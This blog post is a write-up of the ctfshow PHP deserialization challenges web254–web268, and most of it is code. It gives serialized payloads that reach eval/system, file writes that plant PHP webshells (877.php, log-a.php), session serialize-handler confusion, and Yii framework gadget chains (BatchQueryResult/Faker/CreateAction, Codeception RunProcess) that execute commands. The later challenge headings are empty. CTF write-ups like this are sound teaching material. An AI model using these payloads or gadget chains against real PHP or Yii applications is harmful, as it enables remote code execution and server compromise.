ctfshow deserialization

Posted by backyard on Tue, 14 Sep 2021 21:39:52 +0200

web254

if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }

Judge whether the entered username and password are equal to the xxxxxx given by the title. If the verification is successful, it will be given to the flag, so get the parameters directly

?username=xxxxxx&password=xxxxxx

web255

One more $user = unserialize($_COOKIE['user ']) than 254; However, $this - > isvip = true is missing in function login($u,$p); Therefore, we need to modify it when transmitting user

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
}
echo urlencode(serialize(new ctfShowUser()));
?username=xxxxxx&password=xxxxxx
Cookie:user=O%3a11%3a"ctfShowUser"%3a3%3a{s%3a8%3a"username"%3bs%3a6%3a"xxxxxx"%3bs%3a8%3a"password"%3bs%3a6%3a"xxxxxx"%3bs%3a5%3a"isVip"%3bb%3a1%3b}+

web256

There is an additional if ($this - > username! = = $this - > password), as long as the values are different

?username=xxxxx&password=xxxxxx
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22xxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257

One more class and one more construct()

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

__ Trigger mechanism of construct(): when instantiating an object with the keyword new, the constructor will be called automatically
structure

<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'backDoor';
    public function __construct(){
        $this->class=new backDoor();
    }
}

class backDoor{
    private $code='system("tac fl*");';
}   


echo urlencode(serialize(new ctfShowUser()));

?username=xxxxxx&password=xxxxxx
user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A18%3A%22system%28%22tac+fl%2A%22%29%3B%22%3B%7D%7D

web258 - plus sign bypasses regular: / [oc]:\d+:/i

Another regular match

if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])
[oc]: Regular matching means regular matching
\d:  Matches a numeric character. Equivalent to [0-9]. 
 +:  Matches the previous subexpression one or more times. For example,'zo+' Can match "zo" as well as "zoo",But it can't match "z". + Equivalent to {1,}. 
/i:  Indicates that matching is case insensitive

It means that there can be no O: number. We can bypass it with 0: + number. Here, the username password is useless. It is = = = and can be assigned arbitrarily

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'backDoor';
    public function __construct(){
        $this->class=new backDoor();
    }
}

class backDoor{
    public $code='system("tac fl*");';
}   

echo serialize(new ctfShowUser());

There is a change in public, and the rest is the same as before. I manually add + after serialization, and then use burp's url encoding

?username=xxxxxx&password=xxxxxx
user=O%3a%2b11%3a"ctfShowUser"%3a4%3a{s%3a8%3a"username"%3bs%3a6%3a"xxxxxx"%3bs%3a8%3a"password"%3bs%3a6%3a"xxxxxx"%3bs%3a5%3a"isVip"%3bb%3a0%3bs%3a5%3a"class"%3bO%3a%2b8%3a"backDoor"%3a1%3a{s%3a4%3a"code"%3bs%3a18%3a"system("tac+fl*")%3b"%3b}}

web259 – not done

web260

As long as the serialized thing needs to contain ctfshow_i_love_36D, shall we pass it directly? ctfhsow=ctfshow_i_love_36D

web261

This level seems to be a magic function, but in fact, none of them is used

_wakeup(): If the class also defines __unserialize() and __wakeup() Two magic methods, only __unserialize() The method will take effect,__wakeup() Method is ignored.
_invoke(): Not used
__sleep(): Used in serialization, not here

So it mainly bypasses

if($this->code==0x36d){
      file_put_contents($this->username, $this->password); 
}

For weak comparison, 0x36d will become the number 877. We can pass an 877, but we need to use file later_ put_ Contents (), so here we pass in 877.php. 877.php==877 is true, and password. We just pass in the command

<?php
class ctfshowvip{
    public $username;
    public $password;
 
    public function __construct($u='',$p=''){
        $this->username="877.php";
        $this->password="<?php eval(system('tac /fl*')); ?>";
    } 
}
echo urlencode(serialize(new ctfshowvip()));

Here, I first ls found that there was no flag.php, and then I went directly to the tac root directory fl *

?vip=O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A34%3A%22%3C%3Fphp+eval%28system%28%27tac+%2Ffl%2A%27%29%29%3B+%3F%3E%22%3B%7D

You can't call Redis here

web262 deserialization string escape

After looking at it for a while, I can't see where the flag should come from. There is a message.php on it. I found that if ($MSG - > token = ='admin ') outputs the flag here. For three input places, I have to change the fourth value. Look at the previous page, there is also a str_replace('fuck', 'loveU', serialize($msg));, Is to deserialize the string escape. We need to escape

";s:5:"token";s:4:"user";}

The length of 26 characters, so we need 26 fuck s, so we can pass the parameters directly

message.php?f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

The process is a little messy, but you can try.

<?php
class message{
    public $from="1";
    public $msg="1";
    public $to='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';

    public $token='user';
}

echo serialize(new message());
$a=str_replace('fuck', 'loveU', serialize(new message()));
echo $a;
var_dump(unserialize($a));
echo base64_encode($a);

You can also base 64 and put it at the cookie

Web263 session deserialization

dirsearch scans index.php, flag.php, check.php, www.rar and www.zip

check.php
<?php
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);


if($GET){

	$data= $db->get('admin',
	[	'id',
		'UserName0'
	],[
		"AND"=>[
		"UserName0[=]"=>$GET['u'],
		"PassWord1[=]"=>$GET['pass'] //The password must be 128 uppercase and lowercase letters + numbers + special symbols to prevent explosion
		]
	]);
	if($data['id']){
		//Cumulative number of successful login cancellations
		$_SESSION['limit']= 0;
		echo json_encode(array("success","msg"=>"Welcome".$data['UserName0']));
	}else{
		//Cumulative number of login failures plus 1
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
		echo json_encode(array("error","msg"=>"Login failed"));
	}
}
index.php
<?php
error_reporting(0);
session_start();
	//No login for more than 5 times
	if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("The number of login failures exceeds the limit"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
	}else{
		 setcookie("limit",base64_encode('1'));
		 $_SESSION['limit']= 1;
	}
	
?>

www.zip Inside inc.php
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "use".$this->password."land".($this->status?"success":"fail")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

The reason why the session can be deserialized

Session.serialize of session in inc.php_ The handler is set to PHP, which implies that the default php.ini is definitely not PHP, and the probability is php_serialize. The storage format of PHP engine is key name | serialized_string, while PHP_ The storage format of the serialize engine is serialized_string. If the program uses two engines to process separately, there will be problems. If you can control the input of session, you can use it. In index.php$_ SESSION['limit']=base64_decode($_COOKIE['limit']); Can pass in the value of session, inc.php__ There is a file in the destruct() method_ put_ Contents () function, which can be used to pass a sentence, Trojan horse, or command execution (see _destroy (), where the file name is log-xxx.php)

<?php
class User{
    public $username='a.php';
    public $password="<?php system('tac fl*');?>";
    public $status='1';
}
echo base64_encode('|'.serialize(new User()));
?>
Add here | namely php How the engine is stored
base64 Encryption is because base64_decode($_COOKIE['limit'])

fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiJhLnBocCI7czo4OiJwYXNzd29yZCI7czoyNjoiPD9waHAgc3lzdGVtKCd0YWMgZmwqJyk7Pz4iO3M6Njoic3RhdHVzIjtzOjE6IjEiO30

Using burp or direct transmission, refresh after transmission, and then access check.php to generate files
Then access log-a.php to get the flag

web264

Like 262, the difference is that $MSG = Serialize (base64_decode ($_session ['msg ']);, The session is used instead of a cookie, which is passed here on the index.php page

?f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

Because isset($_COOKIE['msg ']), go to the message.php page and add a cookie. Any value can be refreshed

web265-&

&Pass the parameter by address, a = & b. No matter what b is changed, a will change it, because it is the address of b rather than the current value of b that is passed to a

<?php
class ctfshowAdmin{
    public $token;
    public $password;
    public function __construct(){
        $this->password=&$this->token;
    }
}
echo serialize(new ctfshowAdmin());
?>

O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;}

Case of web266 PHP class name

Case sensitive: variable name, constant name, array index (key name) key)

Case insensitive: function name, method name, class name, magic constant NULL,FALSE,TRUE

As long as ctfshow occurs here, an exception error will be thrown, so to bypass, here is a case bypass

<?php
class CTFshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct(){
        global $flag;
        echo $flag;
    }

}
echo serialize(new CTFshow());
?>

POST: O:7:"CTFshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

Mainly pass this class, but the content is not required

Web267 Yii deserialization vulnerability

Log in with a weak password, admin:admin, find <! --? View source -- > in the source code of the About page, and then try to access the view source

index.php?r=site%2Fabout&view-source

Found deserializable places

index.php?r=backdoor/shell&code=poc

stick yushen poc, where checkAccess and id are controllable

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'phpinfo'; //PHP function, system cannot be used
            $this->id = '1'; //Parameters of php function
        }
//ls />1.txt  		  flag found in root directory
//CP / flag 2.txt copy the file to 2.txt, and then access 2.txt
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NDoiZXhlYyI7czoyOiJpZCI7czoxNDoiY3AgL2ZsYWcgMi50eHQiO31pOjE7czozOiJydW4iO319fX0

Visit 2.txt again

web268

The solution to the following problem is similar, but the flag and > are filtered, and the command is cp /f* 2.txt

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'exec';
            $this->id = 'cp /f* 2.txt';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // It needs to be changed to isRunning
            $this->formatters['isRunning'] = [new CreateAction(), 'run'];
        }
    }
}

// poc2
namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes;
        public function __construct()
        {
            $this->processes = [new Generator()];
        }
    }
}
namespace{
    // Generate poc
    echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

?r=backdoor/shell&code=TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjk6ImlzUnVubmluZyI7YToyOntpOjA7TzoyMToieWlpXHJlc3RcQ3JlYXRlQWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo0OiJleGVjIjtzOjI6ImlkIjtzOjEyOiJjcCAvZiogMi50eHQiO31pOjE7czozOiJydW4iO319fX19

web269

web270

web271

web272

web273

web274

web275

web276

web277

web278

Topics: Web Development CTF